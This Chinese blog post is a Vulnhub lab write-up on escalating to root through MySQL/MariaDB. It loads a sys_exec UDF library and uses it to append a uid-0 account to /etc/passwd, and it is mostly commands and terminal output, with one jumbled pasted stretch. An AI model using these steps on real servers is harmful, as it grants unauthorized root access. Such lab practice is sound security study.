首页 > 数据库 >利用Mysql提权的步骤以及一种低级错误的说明

利用Mysql提权的步骤以及一种低级错误的说明

时间:2022-12-12 17:36:21浏览次数:51  
标签:-- Mysql 低级 sys 提权 mysql bob MariaDB root

利用Mysql提权的步骤以及一种低级错误的说明

通过一些方式获取了目标主机mysql的用户名和密码,这时我们想通过mysql来执行系统命令,此时我们可以考虑使用UDF进行提权。需要提前将lib_mysqludf_sys_64.so文件(Kali linux上有该文件)上传至靶机/tmp目录下。然后连接数据库。另外需要提前生成具有root权限的用户的密码:

┌──(kali㉿kali)-[~/Vulnhub/Sundown]
└─$ sudo openssl passwd -1 -salt bob 123456   
$1$bob$7Llv2KscjOtcMna9mt7Ps0

目标就是将bob(具有root权限)追加到/etc/passwd文件中去,即:

bob:$1$bob$7Llv2KscjOtcMna9mt7Ps0:0:0:User_like_root:/root:/bin/bash

然后在数据库中进行如下步骤:

第一步:use mysql;

第二步:创建新表: create table potato(line blob);

第三步:插入插件:insert into potato values(load_file(‘/tmp/lib_mysqludf_sys_64.so’));

     SHOW VARIABLES LIKE ‘%plugin%’;

select * from potato into dumpfile
‘/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys_64.so’;

create function sys_exec returns integer soname ‘lib_mysqludf_sys_64.so’;

接下来,在进入插入用户名密码过程中犯了一个低级错误,即

select sys_exec('echo "bob:$1$bob$7Llv2KscjOtcMna9mt7Ps0:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd');

双引号在里面导致美元符号会被解释,从而密码验证的时候会不对,导致验证失败。

如下所示:

MariaDB [mysql]>  select sys_exec('echo "jason:12345:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd');
+----------------------------------------------------------------------------------+
| sys_exec('echo "jason:12345:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd') |
+----------------------------------------------------------------------------------+
|                                                                                0 |
+----------------------------------------------------------------------------------+
1 row in set (0.001 sec)

MariaDB [mysql]> quit
Bye
carlos@sundown:/tmp$ su - jason
Password: 
su: Authentication failure

其实只需将sys_exec命令的单引号与双引号互换即可正确执行,完整过程如下:

carlos@sundown:/tmp$ mysql -uroot -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 161571
Server version: 10.3.23-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> SHOW VARIABLES LIKE '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name   | Value                                       |
+-----------------+---------------------------------------------+
| plugin_dir      | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma                                       |
+-----------------+---------------------------------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> create table potato(line blob);
Query OK, 0 rows affected (0.009 sec)

MariaDB [mysql]> insert into potato values(load_file('/tmp/lib_mysqludf_sys_64.so'));
Query OK, 1 row affected (0.003 sec)

MariaDB [mysql]>  SHOW VARIABLES LIKE ‘%plugin%’;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '‘%plugin%’' at line 1
MariaDB [mysql]>  SHOW VARIABLES LIKE '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name   | Value                                       |
+-----------------+---------------------------------------------+
| plugin_dir      | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma                                       |
+-----------------+---------------------------------------------+
2 rows in set (0.001 sec)

MariaDB [mysql]> select * from potato into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys_64.so';
Query OK, 1 row affected (0.000 sec)

MariaDB [mysql]>  create function sys_exec returns integer soname 'lib_mysqludf_sys_64MariaDB [mysql]> select sys_exec("echo 'bob:$1$bob$7Llv2KscjOtcMna9mt7Ps0:0:0:User_like_root:/root:/bin/bash' >> /etc/passwd");
+--------------------------------------------------------------------------------------------------------+
| sys_exec("echo 'bob:$1$bob$7Llv2KscjOtcMna9mt7Ps0:0:0:User_like_root:/root:/bin/bash' >> /etc/passwd") |
+--------------------------------------------------------------------------------------------------------+
|                                                                                                      0 |
+--------------------------------------------------------------------------------------------------------+
1 row in set (0.001 sec)

MariaDB [mysql]>carlos@sundown:/tmp$ su - bob
Password: 
root@sundown:~# id
uid=0(root) gid=0(root) groups=0(root)
root@sundown:~# ls -alh
total 28K
drwx------  3 root root 4.0K Aug  3  2020 .
drwxr-xr-x 18 root root 4.0K Aug  3  2020 ..
lrwxrwxrwx  1 root root    9 Aug  3  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4.0K Aug  3  2020 .local
lrwxrwxrwx  1 root root    9 Aug  3  2020 .mysql_history -> /dev/null
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root 1.3K Aug  3  2020 proof.txt
-rw-r--r--  1 root root   66 Aug  3  2020 .selected_editor
root@sundown:~# cat proof.txt
                              _____,,,\//,,\\,/,
                             /-- --- --- -----
                            ///--- --- -- - ----
                           o////- ---- --- --
                           !!//o/---  -- --
                         o*) !///,~,,\\,\/,,/,//,,
                           o!*!o'(\          /\
                         | ! o ",) \/\  /\  /  \/\
                        o  !o! !!|    \/  \/     /
                       ( * (  o!'; |\   \       /
                        o o ! * !` | \  /       \
                       o  |  o 'o| | :  \       /
                        *  o !*!': |o|  /      /
                            (o''| `| : /      /
                            ! *|'`  \|/       \\
                           ' !o!':\  \\        \
                            ( ('|  \  `._______/
////\\\,,\///,,,,\,/oO._*  o !*!'`  `.________/
  ---- -- ------- - -oO*OoOo (o''|           /
    --------  ------ 'oO*OoO!*|'o!!          \
-------  -- - ---- --* oO*OoO *!'| '         /
 ---  -   -----  ---- - oO*OoO!!':o!'       /
 - -  -----  -  --  - *--oO*OoOo!`         /
   \\\\\,,,\\,//////,\,,\\\/,,,\,,ejm/AMC

510252fabb4b7e7dddd7373b7b3da3e8

Thanks for playing - Felipe Winsnes (@whitecr0wz)
root@sundown:~# 
 quit
.so';
Query OK, 0 rows affected (0.000 sec)


标签:--,Mysql,低级,sys,提权,mysql,bob,MariaDB,root
From: https://www.cnblogs.com/jason-huawen/p/16976684.html

相关文章

  • MySql的常用函数
    调用:select函数名(实参列表)from表;1、单行函数如concat、length、iffnull等2.分组函数功能:做统计使用(统计函数、聚合函数、组函数)一、字符函数......
  • Mysql分区
    分区有利于管理非常大的表,它采用了“分而治之”的逻辑,分区引入了分区键的概念,分区键用于根据某个区间值(或者范围)、特定值列表或者HASH函数执行数据的聚集,让数据根据规则分......
  • mysql索引
    索引分类索引是在mysql的存储引擎层中实现的,而不是在服务器层实现的。所以每种存储引擎的索引都不一定完全相同,也不是所有的存储引擎都支持所有的索引类型。mysql目前提供了......
  • pycharm链接数据库(MySQL)
    pycharm可以充当很多数据库的客户端点击MySQL后,如果是第一次使用pycharm中的MySQL,那么需要点击download下载对应驱动如果提示下载失败的话,可以点击Driver,选择MySQLfo......
  • Django链接MySQL
    Django链接MySQLdjango不能创建库,需要自己手动创建,并指定#默认用sqlite3DATABASES={'default':{'ENGINE':'django.db.backends.sqlite3','......
  • 《MySQL必知必会》之事务、用户权限、数据库维护和性能
    第二十六章管理事务处理本章介绍什么是事务处理以及如何利用COMMIT和ROLLBACK语句来管理事务处理事务处理并非所有数据库引擎都支持事务处理常用的InnoDB支持事务处......
  • MySQL与MariaDB核心特性比较详细版v1.0,Oracle ACE主编(覆盖mysql 8.0/mariadb 10.3,包括
    注:本文严禁任何形式的转载,原文使用word编写,为了大家阅读方便,提供pdf版下载。MySQL与MariaDB主要特性比较详细版v1.0(不含HA).pdf链接:https://pan.baidu.com/s/1qAcrxg8eRumRi3......
  • [转]MySQL 中 Blob 和 Text 数据类型详解
    原文地址:https://mp.weixin.qq.com/s/SjaCSkcjT0rcO1n41RuEcA前言:前面文章我们介绍过一些常用数据类型的用法,比如int、char、varchar等。一直没详细介绍过blob及te......
  • Ubuntu20.04 Java相关环境(JDK、Mysql、Redis、nacos、influxdb)部署以及运行
     重装了系统,系统版本号为:Ubuntu20.041、云平台登录云平台,选择要重装的服务器,关机、一键重装即可 2、安装jdk下载jdk-8u341-linux-x64.tar.gz,并复制到服务器目录下,比......
  • MySQL增加字段SQL语句
    使用ALTERTABLE向MySQL数据库的表中添加字段,-向buildBaseInfo中添加字段ALTERTABLEtable_nameADDCOLUMNcolumn_nameVARCHAR(100)DEFAULTNULLCOMMENT'新加字......